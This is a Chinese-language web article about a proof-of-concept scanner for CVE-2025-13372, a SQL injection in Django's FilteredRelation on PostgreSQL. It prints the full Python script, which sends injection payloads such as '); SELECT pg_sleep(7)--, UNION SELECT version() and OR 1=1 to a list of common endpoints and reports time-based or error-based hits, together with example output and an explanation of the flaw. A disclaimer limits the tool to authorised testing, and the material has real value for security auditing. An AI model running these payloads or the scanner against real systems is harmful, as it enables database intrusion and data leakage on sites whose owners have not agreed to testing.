news 2026/7/8 11:47:40

Django FilteredRelation SQL注入漏洞检测工具解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Django FilteredRelation SQL注入漏洞检测工具解析

项目标题与描述

CVE-2025-13372 漏洞检测工具

本项目是一个专业的Django框架安全检测工具,专门用于检测CVE-2025-13372漏洞。该漏洞影响Django 5.2.8及以下版本、5.1.14及以下版本、4.2.26及以下版本,当应用使用PostgreSQL数据库后端、FilteredRelation功能并接受用户控制的别名参数时,可能导致SQL注入攻击。本工具通过多种检测方法(包括错误响应检测和时间延迟检测)自动化识别存在该漏洞的目标系统。

功能特性

  • 多种检测方式:支持基于PostgreSQL错误响应的检测和时间延迟检测
  • 自动化扫描:自动测试多个常见参数路径(alias、column、field、sort等)
  • 智能Payload设计:包含多种触发漏洞的SQL注入payload
  • 时间延迟检测:通过pg_sleep函数检测基于时间的SQL注入漏洞
  • 错误识别:能够识别多种PostgreSQL错误模式
  • 超时处理:正确处理检测过程中的超时情况
  • 兼容性广泛:覆盖多种可能的Django应用端点路径

安装指南

系统要求

  • Python 3.x
  • requests库
  • 网络访问权限
  • 仅用于授权的安全测试

安装步骤

# 克隆或下载项目文件gitclone https://github.com/Ashwesker/Blackash-CVE-2025-13372.git# 安装必需的Python库pipinstallrequests# 确保有urllib3库(Python标准库的一部分)

依赖项

  • Python 3.x
  • requests (用于HTTP请求)
  • urllib3 (禁用SSL警告)

使用说明

基础使用

# 基本用法:提供目标URL作为参数python3 CVE-2025-13372-poc.py http://target.com

典型使用场景

  1. 安全审计:对自有的Django应用进行安全测试
  2. 渗透测试:在授权范围内对客户系统进行漏洞检测
  3. 安全研究:学习SQL注入漏洞检测技术

工具工作原理

  1. 工具接受目标URL作为参数
  2. 遍历预定义的SQL注入payload列表
  3. 测试多个可能的端点路径(/search/, /api/filter/, /filter/等)
  4. 分析响应中的PostgreSQL错误指示器
  5. 对于时间延迟payload,检测响应延迟时间

输出示例

[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi [+] Target: http://example.com [*] Testing: http://example.com/search/?alias=%27%29%20OR%201%3D1--%20... → no indicator [*] Testing: http://example.com/api/filter/?col=%27%29%3B%20SELECT%20pg_sleep%287%29-- ... → VULNERABLE! (Time delay detected) Delay : 7.05 seconds Payload : '); SELECT pg_sleep(7)--

核心代码

主检测逻辑代码

importrequestsimporturllib.parseimportsysfromrequests.packages.urllib3importdisable_warnings disable_warnings()iflen(sys.argv)!=2:print("Usage: python3 CVE-2025-13372-poc.py http://target.com")sys.exit(1)target=sys.argv[1].rstrip("/")# Common payloads that trigger PostgreSQL errors or delayspayloads=["') OR 1=1-- ","'); SELECT pg_sleep(7)--",# Time-based (7 sec delay = vuln)"'); SELECT version()--",# Leaks PostgreSQL version"' UNION SELECT NULL,version(),NULL--","1' AND (SELECT 1 FROM PG_SLEEP(7))--"]print("[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi")print(f"[+] Target:{target}\n")forpayloadinpayloads:enc=urllib.parse.quote(payload)# Common endpoints/parameters that may use FilteredRelation + alias()/annotate()paths=[f"/search/?alias={enc}",f"/api/filter/?col={enc}",f"/filter/?field={enc}",f"/reports/?column={enc}",f"/advanced/?sort={enc}",f"/admin/lookup/?q={enc}",f"/?order={enc}"]forpathinpaths:url=target+pathtry:print(f"[*] Testing:{url[:80]}{'...'iflen(url)>80else''}",end="")r=requests.get(url,timeout=15,verify=False,allow_redirects=True)# PostgreSQL error indicatorsindicators=["syntax error at or near","column .* does not exist","unterminated quoted string","SQLSTATE","relation .* does not exist","django.db.utils.ProgrammingError"]body=r.text.lower()ifany(indinbodyforindinindicators):print(" → VULNERABLE! (PostgreSQL error)")print(f" Payload :{payload}")print(f" URL :{url}\n")sys.exit(0)# Time-based detectionif"pg_sleep"inpayload.lower()andr.elapsed.total_seconds()>=6:print(" → VULNERABLE! (Time delay detected)")print(f" Delay :{r.elapsed.total_seconds():.2f}seconds")print(f" Payload :{payload}")sys.exit(0)print(" → no indicator")exceptrequests.exceptions.Timeout:if"pg_sleep"inpayload.lower():print(" → VULNERABLE! (Request timed out – pg_sleep likely worked)")sys.exit(0)except:print(" → request failed")print("\n[-] Not vulnerable or correct endpoint not found.")print("[i] Tip: Use Burp/ZAP to find parameters named alias, column, field, sort, etc.")print("[i] Then test manually with the payloads above.")

漏洞技术分析代码说明

# CVE-2025-13372 技术原理说明# 漏洞出现在以下条件同时满足时:# 1. 使用PostgreSQL作为数据库后端# 2. 使用FilteredRelation进行条件连接# 3. 接受动态字典(**kwargs)构建查询注解或别名# 4. 允许用户控制的数据影响SQL生成中的别名名称# 问题根源:# Django ORM通常通过以下方式防止SQL注入:# - 转义危险字符# - 参数化输入# - 除非显式允许,否则禁止原始SQL# 但传递给以下函数的别名不会被参数化:# queryset.annotate(**dynamic_values)# queryset.alias(**dynamic_names)# 因为别名是SQL语法的一部分,而不是SQL值。# 如果用户控制的输入进入这些别名,Django可能会无意中将这些字符串逐字嵌入生成的SQL中。

检测逻辑详解

# 检测逻辑分为三个主要部分:# 1. Payload生成:定义多种SQL注入payload# - 基础注入payload:') OR 1=1--# - 时间延迟payload:'); SELECT pg_sleep(7)--# - 信息泄露payload:'); SELECT version()--# 2. 端点枚举:测试多个可能的参数位置# - alias参数:通常与FilteredRelation一起使用# - column/field参数:可能用于动态字段选择# - sort/order参数:可能用于动态排序# 3. 结果分析:# - 错误响应分析:查找PostgreSQL特定错误模式# - 时间延迟分析:检测pg_sleep导致的响应延迟# - 超时处理:时间延迟payload导致的超时视为漏洞存在

重要声明:本工具仅用于授权的安全测试和研究目的。使用前请确保已获得目标系统的明确授权。未经授权的使用可能违反法律法规。
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5EfxTTpHVbezSJmapquqON
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/5 8:42:38

YOLO11实时检测实战:RTSP视频流处理教程

YOLO11实时检测实战:RTSP视频流处理教程 YOLO11是Ultralytics团队推出的最新一代目标检测模型,延续了YOLO系列“快、准、易部署”的核心优势。它并非简单迭代,而是在骨干网络结构、特征融合机制和损失函数设计上做了系统性优化——在保持毫秒…

作者头像 李华
网站建设 2026/7/5 18:47:43

TurboDiffusion实战案例:城市数字孪生动态可视化系统搭建

TurboDiffusion实战案例:城市数字孪生动态可视化系统搭建 1. 为什么城市数字孪生需要TurboDiffusion? 你有没有想过,一座城市的交通流、建筑光影变化、人群移动轨迹,其实可以像电影一样被“生成”出来?不是靠传统建模…

作者头像 李华
网站建设 2026/7/1 10:01:02

verl能否替代自有框架?开源集成可行性分析与教程

verl能否替代自有框架?开源集成可行性分析与教程 1. verl 是什么:一个为大模型后训练量身打造的强化学习框架 你可能已经听说过很多强化学习框架,但 verl 不太一样。它不是为通用 RL 任务设计的玩具工具,而是专为大型语言模型&a…

作者头像 李华
网站建设 2026/7/6 3:59:20

Qwen3-Embedding-4B与text-embedding-ada-002对比评测

Qwen3-Embedding-4B与text-embedding-ada-002对比评测 在构建检索增强生成(RAG)、语义搜索、智能推荐或知识图谱等系统时,文本嵌入模型的选择直接决定了整个系统的语义理解深度和响应质量。过去很长一段时间里,OpenAI 的 text-em…

作者头像 李华
网站建设 2026/7/6 5:29:37

手把手教程:如何用Driver Store Explorer清理冗余驱动

以下是对您提供的博文内容进行 深度润色与结构重构后的技术博客正文 。本次优化严格遵循您的全部要求: ✅ 彻底去除AI痕迹 :语言自然、专业、有“人味”,像一位资深Windows驱动工程师在分享实战经验; ✅ 摒弃模板化标题与刻板结构 :全文以逻辑流驱动,无“引言/概…

作者头像 李华
网站建设 2026/6/30 5:16:48

Upwork顶级账号被封:自由职业者平台合规教训

The Day My Top‑Rated Upwork Account Was Permanently Suspended 大家好, 多年来,Upwork一直是我自由职业事业的核心。我几乎是从零开始构建我的个人资料,最终建立起一个稳定、可预测的业务。我专注于成为一名全栈工程师,服务长…

作者头像 李华